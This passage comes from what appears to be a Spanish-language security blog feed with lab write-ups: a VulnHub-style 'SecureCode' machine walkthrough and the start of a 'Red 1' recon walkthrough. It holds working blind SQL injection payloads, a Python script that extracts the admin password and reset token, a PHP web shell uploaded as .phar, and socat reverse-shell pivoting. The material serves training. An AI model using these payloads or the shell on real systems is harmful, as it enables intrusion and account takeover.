    $_SESSION[<span class="hljs-string">'danger'</span>] = <span class="hljs-string">" Invalid Token Provided."</span>;
    header(<span class="hljs-string">"Location: login.php"</span>);

}

<span class="hljs-meta">?&gt;</span>
</code></pre>
<p>Ahí vemos que hace la comparativa del token y luego limpia el token en caso de existir en la base de datos y luego cambia la contraseña por la nueva.</p>
<p>Revisando el código, veo que la mayoría de peticiones utiliza la siguiente función de <strong>MySQL: mysqli_real_escape_string</strong>. Esto lo que hace es escapar ciertos caracteres que pueden utilizarse para realizar un <strong>SQLI</strong>.</p>
<p>Pero revisando veo que en la carpeta <strong>item</strong> el <strong>viewItem.php</strong> lo utiliza, pero hay un error.</p>
<pre><code class="lang-bash">cat viewItem.php
</code></pre>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>

<span class="hljs-comment">// Still under development</span>
session_start();
ini_set(<span class="hljs-string">"display_errors"</span>, <span class="hljs-number">0</span>);
<span class="hljs-keyword">include</span> <span class="hljs-string">"../include/connection.php"</span>;

<span class="hljs-comment">// see if user is authenticated, if not then redirect to login page</span>
<span class="hljs-keyword">if</span>($_SESSION[<span class="hljs-string">'id_level'</span>] != <span class="hljs-number">1</span>){

    $_SESSION[<span class="hljs-string">'danger'</span>] = <span class="hljs-string">" You not have access to visit that page"</span>;
    header(<span class="hljs-string">"Location: ../login/login.php"</span>);

}
<span class="hljs-comment">// only for users with level 1 (admins)</span>
<span class="hljs-comment">// prevent SQL injection</span>
$id = mysqli_real_escape_string($conn, $_GET[<span class="hljs-string">'id'</span>]);
$data = mysqli_query($conn, <span class="hljs-string">"SELECT * FROM item WHERE id = <span class="hljs-subst">$id</span>"</span>);
$result = mysqli_fetch_array($data);

<span class="hljs-comment">//var_dump($result);</span>
<span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>($result[<span class="hljs-string">'id'</span>])){
    http_response_code(<span class="hljs-number">404</span>);
}


<span class="hljs-meta">?&gt;</span>
</code></pre>
<p>Como se puede ver, es verdad que se utiliza <strong>mysqli_real_escape_string</strong> en el <strong>$id,</strong> pero a la hora de realizar la query, no utiliza comillas o comillas simples. <code>$data = mysqli_query($conn, "SELECT * FROM item WHERE id = $id");</code></p>
<p>Entonces nosotros podemos inyectar queries evitando utilizar comillas o comillas simples, pero concatenando otra query, debido a que podemos manipular el input.</p>
<p>Debido a que sabemos la estructura, gracias a este backup, es más sencillo crear un script para ir enumerando la base de datos.</p>
<pre><code class="lang-bash">proxychains curl -I <span class="hljs-string">"http://192.168.100.20/item/viewItem.php"</span> -G --data-urlencode <span class="hljs-string">"id=5 or (select(select ascii(substring(username,1,1)) from user where id_level = 1)=97);"</span>
</code></pre>
<pre><code class="lang-bash">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.20:80  ...  OK
HTTP/1.1 404 Not Found
Date: Sun, 10 Aug 2025 19:58:51 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=bh5v9n39i3v0amr63p5842inkq; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: ../login/login.php
Content-Type: text/html; charset=UTF-8
</code></pre>
<pre><code class="lang-bash">proxychains curl -I <span class="hljs-string">"http://192.168.100.20/item/viewItem.php"</span> -G --data-urlencode <span class="hljs-string">"id=5 or (select(select ascii(substring(username,1,1)) from user where id_level = 1)=98);"</span>
</code></pre>
<pre><code class="lang-bash">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.20:80  ...  OK
HTTP/1.1 302 Found
Date: Sun, 10 Aug 2025 19:58:54 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=3u8m9l0sgn4g3g9v23jhkbmjtb; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: ../login/login.php
Content-Type: text/html; charset=UTF-8
</code></pre>
<p>Esto es un pequeño ejemplo, id=5 or (select(select ascii(substring(username,1,1)) from user where id_level = 1)=98);, en esta parte, enviamos un <strong>id</strong> 5, y con <strong>or</strong> agregamos otra query.</p>
<p>Debido a que no podemos usar comillas, utilizamos <strong>ASCII,</strong> que nos permite representar los caracteres en formato ASCII; en este caso nos apoyamos en el <strong>id_level,</strong> ya que sabemos que existen dos usuarios, y el primero es <strong>admin.</strong></p>
<p>Debido a que en <strong>ASCII</strong> la “a” minúscula es <strong>97</strong>. Al igualarlo a <strong>98,</strong> la respuesta es un código redirect (302), pero al igualarlo a <strong>97,</strong> es un código de error (404).</p>
<p>Gracias a este concepto, podemos crear un script que nos enumere la base de datos.4</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/python3</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

<span class="hljs-keyword">import</span> requests, signal, sys, string


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">def_handler</span>(<span class="hljs-params">sig, frame</span>):</span>
    print(<span class="hljs-string">"\n\n[!] Saliendo ...\n"</span>)
    sys.exit(<span class="hljs-number">1</span>)

<span class="hljs-comment"># Ctrl+c</span>

signal.signal(signal.SIGINT, def_handler)

<span class="hljs-comment"># Var globales</span>

proxies = {
        <span class="hljs-string">'http'</span>: <span class="hljs-string">f'socks5://127.0.0.1:1080'</span>
}
main_url = <span class="hljs-string">"http://192.168.100.20/item/viewItem.php"</span>

characters = string.ascii_lowercase

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">makeSqli</span>():</span>

    p1 = log.progress(<span class="hljs-string">"Fuerza Bruta"</span>)
    p1.status(<span class="hljs-string">"Iniciando ataque de fuerza bruta"</span>)

    time.sleep(<span class="hljs-number">2</span>)

    p2 = log.progress(<span class="hljs-string">"Username"</span>)

    username =  <span class="hljs-string">""</span>

    <span class="hljs-keyword">for</span> position <span class="hljs-keyword">in</span> range(<span class="hljs-number">1</span>,<span class="hljs-number">50</span>):
        <span class="hljs-keyword">for</span> character <span class="hljs-keyword">in</span> characters:

            sqliURL = main_url + <span class="hljs-string">"?id=5 or (select(select ascii(substring(username,%d,1)) from user where id_level = 1)=%d);"</span> % (position, ord(character))

            r = requests.get(sqliURL, proxies=proxies)

            <span class="hljs-keyword">if</span> r.status_code == <span class="hljs-number">404</span>:
                username += character
                p2.status(username)
                <span class="hljs-keyword">break</span>

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:

    makeSqli()
</code></pre>
<p>Tenemos que definir el proxy también a la hora de tramitar la petición; de lo contrario, no podremos llegar a la máquina <strong>SecureCode.</strong></p>
<pre><code class="lang-bash">python3 exploit.py
[┴] Fuerza Bruta: Iniciando ataque de fuerza bruta
[O] Username: admin
^C

[!] Saliendo ...
</code></pre>
<p>Para enumerar la contraseña, simplemente cambiamos los campos de <strong>username</strong> en el script por <strong>password.</strong></p>
<pre><code class="lang-python">python3 exploit.py
[ ] Fuerza Bruta: Iniciando ataque de fuerza bruta
[◣] password: unaccessableuntilyouchangeme
^C

[!] Saliendo ...
</code></pre>
<p>Bueno, vemos la contraseña de <strong>admin;</strong> vamos a probarla para ver si funciona.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754867540531/8d958fff-3de4-4d53-9505-b55123c5fe5e.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754867559528/45f0c92f-4165-44d7-8dc9-ccd1369d8f51.png" alt class="image--center mx-auto" /></p>
<p>Vemos que no nos deja, nos está diciendo que no podemos acceder hasta que cambiemos la contraseña, unaccessableuntilyouchangeme, debido a que conocemos la estructura de la web y la base de datos.</p>
<p>Podemos enumerar el token y enviarlo para cambiar la contraseña del usuario admin.</p>
<p>Debido a que conocemos que el <strong>token</strong> puede ser mayúsculas y minúsculas y números. Hay que volver a modificar el script.</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/python3</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

<span class="hljs-keyword">import</span> requests, signal, sys, string


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">def_handler</span>(<span class="hljs-params">sig, frame</span>):</span>
    print(<span class="hljs-string">"\n\n[!] Saliendo ...\n"</span>)
    sys.exit(<span class="hljs-number">1</span>)

<span class="hljs-comment"># Ctrl+c</span>

signal.signal(signal.SIGINT, def_handler)

<span class="hljs-comment"># Var globales</span>

proxies = {
        <span class="hljs-string">'http'</span>: <span class="hljs-string">f'socks5://127.0.0.1:1080'</span>
}
main_url = <span class="hljs-string">"http://192.168.100.20/item/viewItem.php"</span>

characters = string.ascii_letters + string.digits

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">makeSqli</span>():</span>

    p1 = log.progress(<span class="hljs-string">"Fuerza Bruta"</span>)
    p1.status(<span class="hljs-string">"Iniciando ataque de fuerza bruta"</span>)

    time.sleep(<span class="hljs-number">2</span>)

    p2 = log.progress(<span class="hljs-string">"token"</span>)

    token =  <span class="hljs-string">""</span>

    <span class="hljs-keyword">for</span> position <span class="hljs-keyword">in</span> range(<span class="hljs-number">1</span>,<span class="hljs-number">50</span>):
        <span class="hljs-keyword">for</span> character <span class="hljs-keyword">in</span> characters:

            sqliURL = main_url + <span class="hljs-string">"?id=5 or (select(select ascii(substring(token,%d,1)) from user where id_level = 1)=%d);"</span> % (position, ord(character))

            r = requests.get(sqliURL, proxies=proxies)

            <span class="hljs-keyword">if</span> r.status_code == <span class="hljs-number">404</span>:
                token += character
                p2.status(token)
                <span class="hljs-keyword">break</span>

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:

    makeSqli()
</code></pre>
<pre><code class="lang-python">python3 exploit.py
[......\.] Fuerza Bruta: Iniciando ataque de fuerza bruta
[▇] token: P2rmqwDPXxpwNxC
^C

[!] Saliendo ...
</code></pre>
<p>Y ahí tenemos el <strong>token</strong> del usuario <strong>admin</strong>; vamos a ver si le podemos cambiar la contraseña.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754868101847/c8182db1-9b20-4601-93a4-dc50cb33dfe8.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754868111426/80ca309a-aabc-4368-a9c9-feb69568cec6.png" alt class="image--center mx-auto" /></p>
<p>Y podemos cambiar la contraseña a <strong>admin,</strong> por tanto, vamos a ponerle cualquiera, por ejemplo, <strong>test.</strong></p>
<p>Vamos a probar si nos podemos logear en la página web.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754868188076/0d90e64f-ec9d-4821-b183-27e124e6f2ee.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754868204094/93c42e11-e3c7-4998-a352-e66b1b180a5c.png" alt class="image--center mx-auto" /></p>
<p>Y logramos conectarnos a la página web como el usuario <strong>admin.</strong></p>
<p>Mirando a lo que tenemos acceso, me encuentro lo siguiente.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754868299432/470a1743-f5e8-4406-866c-bba69eb48ec4.png" alt class="image--center mx-auto" /></p>
<p>En <strong>Items</strong> vemos que podemos editar ciertos objetos que vemos en la web si le damos a editar o agregar un nuevo item; vamos a intentar agregar un nuevo item.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754868381068/5059cef0-e394-4ac6-b846-3ffc8ab6b010.png" alt class="image--center mx-auto" /></p>
<p>Vemos que nos deja elegir una imagen para el ítem; esto puede ser peligroso debido a que no se está validando correctamente qué archivos se suben a la máquina. Podríamos subir un .<strong>php</strong> malicioso para ganar acceso a la máquina.</p>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>
    <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;"</span> . shell_exec($_GET[<span class="hljs-string">'cmd'</span>]) . <span class="hljs-string">"&lt;/pre&gt;"</span>;
<span class="hljs-meta">?&gt;</span>
</code></pre>
<p>Voy a guardarlo como <strong>cmd.php</strong> e intentarlo subir.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754868712726/38adcd15-7f98-429f-94f9-b4e32ffa691a.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754868765568/dc59a880-e21e-4a10-86bc-edd975b1c142.png" alt class="image--center mx-auto" /></p>
<p>Pero vemos que no nos deja, debido a que tenemos la estructura del código web. Podemos ver qué validaciones se están aplicando.</p>
<pre><code class="lang-bash">cat newItem.php
</code></pre>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-keyword">include</span> <span class="hljs-string">"../include/header.php"</span>;
<span class="hljs-keyword">include</span> <span class="hljs-string">"../include/isAuthenticated.php"</span>;

$id_user = mysqli_real_escape_string($conn, $_POST[<span class="hljs-string">'id_user'</span>]);
$name = mysqli_real_escape_string($conn, $_POST[<span class="hljs-string">'name'</span>]);
$imgname = mysqli_real_escape_string($conn, $_FILES[<span class="hljs-string">'image'</span>][<span class="hljs-string">'name'</span>]);
$description = mysqli_real_escape_string($conn, $_POST[<span class="hljs-string">'description'</span>]);
$price = mysqli_real_escape_string($conn, $_POST[<span class="hljs-string">'price'</span>]);

$blacklisted_exts = <span class="hljs-keyword">array</span>(<span class="hljs-string">"php"</span>, <span class="hljs-string">"phtml"</span>, <span class="hljs-string">"shtml"</span>, <span class="hljs-string">"cgi"</span>, <span class="hljs-string">"pl"</span>, <span class="hljs-string">"php3"</span>, <span class="hljs-string">"php4"</span>, <span class="hljs-string">"php5"</span>, <span class="hljs-string">"php6"</span>);
$mimes = <span class="hljs-keyword">array</span>(<span class="hljs-string">"image/jpeg"</span>, <span class="hljs-string">"image/png"</span>, <span class="hljs-string">"image/gif"</span>);
</code></pre>
<p>Vemos que valida ciertas extensiones, pero hay varias que interpretan código <strong>.php</strong> y no están contempladas, como el <strong>.phar</strong>; por tanto, le cambiamos el nombre del archivo a <strong>cmd.phar</strong> y probamos.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754869016360/15569a35-ac41-44be-b49c-1b1029d64441.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754869029391/fe7bf974-ccc8-4a97-8735-49a918ebbb49.png" alt class="image--center mx-auto" /></p>
<p>Probando, no me deja agregar el nuevo ítem, pero sí modificar uno existente. Que a fines prácticos es lo mismo.</p>
<p>Por tanto, si hacemos clic derecho y lo abrimos en otra pestaña para ver la ubicación y utilizamos la web <code>?cmd=&lt;command&gt;</code> nos lo ejecuta.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754869114027/a4ce523f-8b9e-49bd-acf2-bc27004c0575.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754869190933/5e8fd497-2bd1-4629-b8c0-539dc6a7db21.png" alt class="image--center mx-auto" /></p>
<p>Por tanto, tenemos ejecución de comandos; ahora podemos enviarnos una consola a nuestra máquina. Pero debido a que no tenemos acceso directamente, tenemos que hacer unos pasos extra.</p>
<p>Primero que nada vamos a necesitar usar → <a target="_blank" href="https://github.com/3ndG4me/socat">socat</a>.</p>
<p>Socat es una herramienta que nos permite redirigir todo el tráfico que va hacia un puerto a otra IP en un puerto, entre otras cosas.</p>
<p>Entonces nosotros, desde el <strong>cmd.php</strong>, vamos a enviar una reverse shell a la máquina <strong>crossroads</strong>, donde vamos a tener el socat redirigiendo el tráfico hacia nuestra IP a un puerto.</p>
<p>Primero vamos a subir el binario socat a la máquina <strong>crossroads.</strong></p>
<pre><code class="lang-bash">python3 -m http.server 80                                 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
</code></pre>
<pre><code class="lang-bash">root@crossroads:/root<span class="hljs-comment"># wget http://192.168.0.6/socatx64.bin</span>
root@crossroads:/root<span class="hljs-comment"># chmod +x socatx64.bin</span>
</code></pre>
<pre><code class="lang-bash">root@crossroads:/root<span class="hljs-comment"># ./socatx64.bin TCP4-LISTEN:4446,fork TCP4:192.168.0.6:4446</span>
</code></pre>
<p>En este comando, estamos redirigiendo el tráfico entrante en la máquina <strong>Crossroads</strong> hacia nuestra IP por el puerto 4446; por tanto, ahora la reverse shell la tenemos que enviar a <strong>Crossroads</strong> y ponernos en escucha con nc en nuestra máquina atacante por el puerto 4446 en este caso.</p>
<pre><code class="lang-bash">pwncat-cs :4446
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755441697856/98d933d2-8445-46e1-85cb-1333f1f5b497.png" alt class="image--center mx-auto" /></p>
<p>Recuerden que tenemos que pasar por el <strong>proxy</strong> (en este caso con <strong>FoxyProxy</strong>) y tenemos que utilizar la IP a la que la máquina tiene acceso, en este caso la <strong>192.168.100.x,</strong> y urlencodear los &amp; a %26 para que funcione.</p>
<pre><code class="lang-bash">pwncat-cs :4446          
[11:39:44] Welcome to pwncat 🐈!                                                                       __main__.py:164
[11:42:43] received connection from 192.168.0.26:38706                                                      bind.py:84
[11:42:43] 192.168.0.26:38706: registered new host w/ db
(remote) www-data@secure:/var/www/html/item/image$ ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: enp0s3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:87:c3:59 brd ff:ff:ff:ff:ff:ff
    inet 192.168.100.20/24 brd 192.168.100.255 scope global noprefixroute enp0s3
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe87:c359/64 scope link 
       valid_lft forever preferred_lft forever
3: enp0s8: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:03:9e:5b brd ff:ff:ff:ff:ff:ff
    inet 192.168.200.10/24 brd 192.168.200.255 scope global noprefixroute enp0s8
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe03:9e5b/64 scope link 
       valid_lft forever preferred_lft forever
</code></pre>
<p>Como ven, el túnel con <strong>socat</strong> funcionó, y estamos en la máquina <strong>Securecode</strong> como <strong>www-data</strong>.</p>
<p>Esta máquina no tiene contemplado que escalemos privilegios, por tanto, hasta aquí llega el laboratorio.</p>
<h1 id="heading-comentarios-securecode">Comentarios - Securecode</h1>
<p>La verdad, siempre que me quedo atorado es porque no sé enumerar bien y esta máquina lo demuestra. Probé varias cosas, pero se me olvidó mirar las extensiones comunes como .bak o .zip y, luego de tener el código de cómo funciona la web, fue más sencillo. Para practicar SQLI, una máquina bastante buena, la verdad.</p>
<h1 id="heading-conclusiones">Conclusiones</h1>
<p>Laboratorio algo extenso y solo son dos máquinas, pero lo importante es aprender temas de pivoting y cómo manejar estas herramientas para poder moverse entre interfaces de redes y máquinas donde primeramente no tenemos acceso.</p>
<p>Ya sabéis que cualquier cosa, me pueden dejar un comentario o contactarme por Discord como <strong>Varovish.</strong></p>
]]></content:encoded></item><item><title><![CDATA[Red 1 - Writeup]]></title><description><![CDATA[Skills
- Virtual Hosting
- Fuzzing
- xmlrpc | Wordpress enum
- php filterchaing LFI -> RCE
- mysql enum database
- Lateral movement | Abusing time SUDO
- Abusing cron tab | Privilage escalation


Reconocimiento
Para comenzar, como siempre vamos a cre...]]></description><link>https://varovish.hashnode.dev/red-1-writeup</link><guid isPermaLink="true">https://varovish.hashnode.dev/red-1-writeup</guid><category><![CDATA[VulnHub]]></category><category><![CDATA[hacking]]></category><category><![CDATA[Linux]]></category><dc:creator><![CDATA[Dh89]]></dc:creator><pubDate>Tue, 22 Jul 2025 21:59:57 GMT</pubDate><content:encoded><![CDATA[<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751113801398/59a4d239-6b0b-457a-b661-0d7895d85355.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-skills">Skills</h1>
<pre><code class="lang-bash">- Virtual Hosting
- Fuzzing
- xmlrpc | Wordpress enum
- php filterchaing LFI -&gt; RCE
- mysql enum database
- Lateral movement | Abusing time SUDO
- Abusing cron tab | Privilage escalation
</code></pre>
<hr />
<h1 id="heading-reconocimiento">Reconocimiento</h1>
<p>Para comenzar, como siempre vamos a crearnos nuestros directorios de trabajo</p>
<pre><code class="lang-bash">$ mkdir Red            
$ <span class="hljs-built_in">cd</span> Red 
$ mkdir nmap content exploit
ls
content  exploit  nmap
</code></pre>
<p>Luego vamos a proceder a escanear los servicios que se exponen atravez de los puertos de la maquina.</p>
<pre><code class="lang-bash">$ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.0.9 -oN Allports
</code></pre>
<pre><code class="lang-bash">Host discovery disabled (-Pn). All addresses will be marked <span class="hljs-string">'up'</span> and scan <span class="hljs-built_in">times</span> may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2025-06-28 09:42 -03
Initiating ARP Ping Scan at 09:42
Scanning 192.168.0.9 [1 port]
Completed ARP Ping Scan at 09:42, 0.12s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 09:42
Scanning 192.168.0.9 [65535 ports]
Discovered open port 22/tcp on 192.168.0.9
Discovered open port 80/tcp on 192.168.0.9
Completed SYN Stealth Scan at 09:42, 6.15s elapsed (65535 total ports)
Nmap scan report <span class="hljs-keyword">for</span> 192.168.0.9
Host is up, received arp-response (0.0054s latency).
Scanned at 2025-06-28 09:42:21 -03 <span class="hljs-keyword">for</span> 6s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: D8:F3:BC:4D:AC:A3 (Liteon Technology)

Read data files from: /usr/bin/../share/nmap
Nmap <span class="hljs-keyword">done</span>: 1 IP address (1 host up) scanned <span class="hljs-keyword">in</span> 6.37 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
</code></pre>
<p>Como vemos, el puerto 22 y 80 estan abiertos, los cuales indican ssh y http que seguramente sea una web.</p>
<p>Vamos a utilzar la herramienta whatweb para ver que nos reporta.</p>
<pre><code class="lang-bash">$ whatweb 192.168.0.9
</code></pre>
<pre><code class="lang-bash">whatweb 192.168.0.9 
http://192.168.0.9 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[192.168.0.9], MetaGenerator[WordPress 5.8.1], PoweredBy[--], Script, Title[Hacked By Red &amp;<span class="hljs-comment">#8211; Your site has been Hacked! You’ll never find the backdoor hahahah], UncommonHeaders[link], WordPress[5.8.1]</span>
</code></pre>
<p>Vemos que hay un worpress por detras, y un titulo algo llamativo.</p>
<p>Vamos a hecharle un vistazo a la web para ver como se ve.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751114936491/5b27ee56-011e-4b64-b6ae-00e001e0690b.png" alt class="image--center mx-auto" /></p>
<p>Vemos una pagina que parece algo basica, pero si miramos el codigo fuente encontramos lo siguiente.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751115034544/137aee01-fde2-452c-8817-0f8bc66d415b.png" alt class="image--center mx-auto" /></p>
<p>Encontramos multiples entradas de un dominio, redrocks.win, esto quiere decir, que quizas se este aplicando virtualhosting, para que nuestra maquina resuelva a esta direccion, hay que agregar la IP y el dominio a nuestro “/etc/hosts“.</p>
<pre><code class="lang-bash">$ cat /etc/hosts 
127.0.0.1    localhost
::1    localhost ip6-localhost ip6-loopback
fe00::    ip6-localnet
ff00::    ip6-mcastprefix
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
127.0.0.1    exegol-default
$ <span class="hljs-built_in">echo</span> <span class="hljs-string">"192.168.0.9    redrocks.win"</span> &gt;&gt; /etc/hosts            
$ cat /etc/hosts                                  
127.0.0.1    localhost
::1    localhost ip6-localhost ip6-loopback
fe00::    ip6-localnet
ff00::    ip6-mcastprefix
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
127.0.0.1    exegol-default
192.168.0.9    redrocks.win
</code></pre>
<p>Ahora veamos nuevamente la pagina.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751115367121/00bceeb1-e576-491a-8519-a9496e7c1922.png" alt class="image--center mx-auto" /></p>
<p>Como podemos observar, la pagina ahora si nos carga correctamente.</p>
<p>Vamos a realizar un poco de fuzzing para ver que directorios o archivos interesantes nos encontramos.</p>
<pre><code class="lang-bash">$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.0.9/FUZZ -t 10
</code></pre>
<pre><code class="lang-bash">rss                     [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 121ms]
login                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 101ms]
feed                    [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 69ms]
0                       [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 158ms]
atom                    [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 112ms]
wp-content              [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 11ms]
admin                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 108ms]
rss2                    [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 127ms]
wp-includes             [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 4ms]
rdf                     [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 149ms]
page1                   [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 118ms]
<span class="hljs-string">'                       [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 105ms]
dashboard               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 97ms]
%20                     [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 103ms]</span>
</code></pre>
<p>Vemos muchos directorios, entre ellos un login y un wp-content, admin.</p>
<p>Vamos a ir revisando para ver que cosas interesantes nos encontramos.</p>
<p>Luego de revisar, nos encontramos que la mayoria nos redirige al login de wp-content y el resto nos descarga una extructura xml que dice lo siguiente</p>
<pre><code class="lang-xml"><span class="hljs-meta">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">feed</span>
    <span class="hljs-attr">xmlns</span>=<span class="hljs-string">"http://www.w3.org/2005/Atom"</span>
    <span class="hljs-attr">xmlns:thr</span>=<span class="hljs-string">"http://purl.org/syndication/thread/1.0"</span>
    <span class="hljs-attr">xml:lang</span>=<span class="hljs-string">"en-US"</span>
    <span class="hljs-attr">xml:base</span>=<span class="hljs-string">"http://redrocks.win/wp-atom.php"</span>
    &gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">title</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text"</span>&gt;</span>Hacked By Red<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">subtitle</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text"</span>&gt;</span>Your site has been Hacked! You’ll never find the backdoor hahahah <span class="hljs-tag">&lt;/<span class="hljs-name">subtitle</span>&gt;</span>

    <span class="hljs-tag">&lt;<span class="hljs-name">updated</span>&gt;</span>2021-10-31T20:13:59Z<span class="hljs-tag">&lt;/<span class="hljs-name">updated</span>&gt;</span>

    <span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"alternate"</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text/html"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"http://redrocks.win"</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>http://redrocks.win/feed/atom/<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"self"</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"application/atom+xml"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"http://redrocks.win/feed/atom/"</span> /&gt;</span>

    <span class="hljs-tag">&lt;<span class="hljs-name">generator</span> <span class="hljs-attr">uri</span>=<span class="hljs-string">"https://wordpress.org/"</span> <span class="hljs-attr">version</span>=<span class="hljs-string">"5.8.1"</span>&gt;</span>WordPress<span class="hljs-tag">&lt;/<span class="hljs-name">generator</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">entry</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">author</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">name</span>&gt;</span>administrator<span class="hljs-tag">&lt;/<span class="hljs-name">name</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">uri</span>&gt;</span>http://10.0.2.20<span class="hljs-tag">&lt;/<span class="hljs-name">uri</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">author</span>&gt;</span>

